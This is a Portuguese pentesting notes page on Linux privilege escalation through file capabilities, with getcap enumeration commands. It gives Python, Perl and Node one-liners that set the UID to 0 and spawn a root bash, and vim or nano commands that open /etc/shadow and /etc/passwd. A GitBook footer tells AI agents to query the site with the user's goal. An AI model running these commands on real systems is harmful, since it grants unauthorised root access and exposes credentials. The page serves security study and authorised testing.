> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/privesc/capabilities.md).

# Capacidades

Anotações sobre escalação de privilégios por capacidades do Linux para cap\_setuid, cap\_dac\_read\_search, GTFOBins, abuso com Python, Perl, Vim, tac e tar.

As capacidades do Linux dividem os privilégios de root em direitos granulares que podem ser atribuídos a binários. Capacidades perigosas como `cap_setuid+ep`, `cap_dac_read_search+ep`, ou capacidades de escrita em arquivos, podem contornar as restrições normais do usuário.

## Metodologia

* Enumere as capacidades dos arquivos e identifique binários com bits de privilégio perigosos.
* Verifique o GTFOBins e payloads específicos da linguagem para abuso de shell, leitura, escrita ou setuid.
* Prefira comandos mínimos de validação antes de tentar obter um shell de root.

## Verificações rápidas

```bash
getcap -r / 2>/dev/null
getcap -r /usr/bin/ 2>/dev/null
getcap -r /usr/sbin/ 2>/dev/null
getcap -r /bin/ 2>/dev/null
getcap -r /sbin/ 2>/dev/null
```

## Exemplos de Capacidades Perigosas

| Capacidade               | Por que isso importa                                                     |
| ------------------------ | ------------------------------------------------------------------------ |
| `cap_setuid+ep`          | Pode permitir que um binário troque para UID 0.                          |
| `cap_dac_read_search+ep` | Pode contornar permissões de leitura de arquivos e busca em diretórios.  |
| `cap_dac_override+ep`    | Pode contornar verificações normais de permissões de arquivo.            |
| `cap_sys_admin+ep`       | Capacidade muito abrangente, muitas vezes próxima do equivalente a root. |
| `cap_setgid+ep`          | Pode permitir que um binário troque para grupos privilegiados.           |

Se o Python tiver `cap_setuid`, uma validação mínima é:

```bash
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
```

## Exemplos de runtimes de linguagem

Python:

```bash
getcap -r /usr/bin/python* 2>/dev/null
/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash")'
```

Perl:

```bash
getcap -r /usr/bin/perl* 2>/dev/null
/usr/bin/perl -e 'use POSIX (setuid); setuid(0); exec "/bin/bash";'
```

Node.js:

```bash
getcap -r /usr/bin/node* 2>/dev/null
/usr/bin/node -e 'process.setuid(0); require("child_process").spawn("/bin/bash", {stdio: [0, 1, 2]});'
```

Exemplo de CAP\_SETGID:

```bash
getcap -r / 2>/dev/null | grep setgid
/usr/bin/perl -e 'use POSIX (setgid); setgid(0); exec "/bin/bash";'
```

Exemplos de capacidades de leitura/escrita:

```bash
getcap -r / 2>/dev/null | grep dac_read_search
/usr/bin/vim /etc/shadow

getcap -r / 2>/dev/null | grep dac_override
/usr/bin/nano /etc/passwd
```

Outros runtimes interpretados para revisar com o GTFOBins quando capacidades estiverem presentes:

```
ruby
php
lua
```

Visualize o processo e as capacidades disponíveis:

```bash
capsh --print
capsh --print | grep cap_
```

Definir capacidades requer root, mas é útil para reprodução em laboratório:

```bash
sudo setcap cap_setuid+ep /path/to/binary
```

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-spinner" style="color:$primary;">:spinner:</i></h3></td><td><h4>Capacidades do Vim</h4></td><td>Notas sobre capacidades (Vim) para escalonamento de privilégios no Linux, com etapas de enumeração, exemplos de exploração e validação com foco em relatórios.</td><td><a href="/pt-br/privesc/capabilities/capabilities-vim-linux-privilege-escalation.md">Capacidades (Vim) - Escalação de privilégios no Linux</a></td></tr><tr><td><h3><i class="fa-spinner" style="color:$primary;">:spinner:</i></h3></td><td><h4>Capacidades do Python</h4></td><td>Abuso de capacidades do Python para escalonamento de privilégios no Linux por meio de cap_setuid e payloads do GTFOBins.</td><td><a href="/pt-br/privesc/capabilities/python-capabilities.md">Capacidades do Python</a></td></tr><tr><td><h3><i class="fa-spinner" style="color:$primary;">:spinner:</i></h3></td><td><h4>Capacidades do tar</h4></td><td>Notas sobre capacidades (binário tarS) para escalonamento de privilégios no Linux, com etapas de enumeração, exemplos de exploração e validação com foco em relatórios.</td><td><a href="/pt-br/privesc/capabilities/capabilities-tar-linux-privilege-escalation.md">Capacidades (tarS) - Escalação de privilégios no Linux</a></td></tr><tr><td><h3><i class="fa-spinner" style="color:$primary;">:spinner:</i></h3></td><td><h4>Capacidades do Perl</h4></td><td>Notas sobre capacidades (Perl) para escalonamento de privilégios no Linux, com etapas de enumeração, exemplos de exploração e validação com foco em relatórios.</td><td><a href="/pt-br/privesc/capabilities/capabilities-perl-linux-privilege-escalation.md">Capacidades (Perl) - Escalação de privilégios no Linux</a></td></tr><tr><td><h3><i class="fa-spinner" style="color:$primary;">:spinner:</i></h3></td><td><h4>Capacidades do tac</h4></td><td>Notas sobre capacidades (tac) para escalonamento de privilégios no Linux, com etapas de enumeração, exemplos de exploração e validação com foco em relatórios.</td><td><a href="/pt-br/privesc/capabilities/capabilities-tac-linux-privilege-escalation.md">Capacidades (tac) - Escalação de privilégios no Linux</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/privesc/capabilities.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
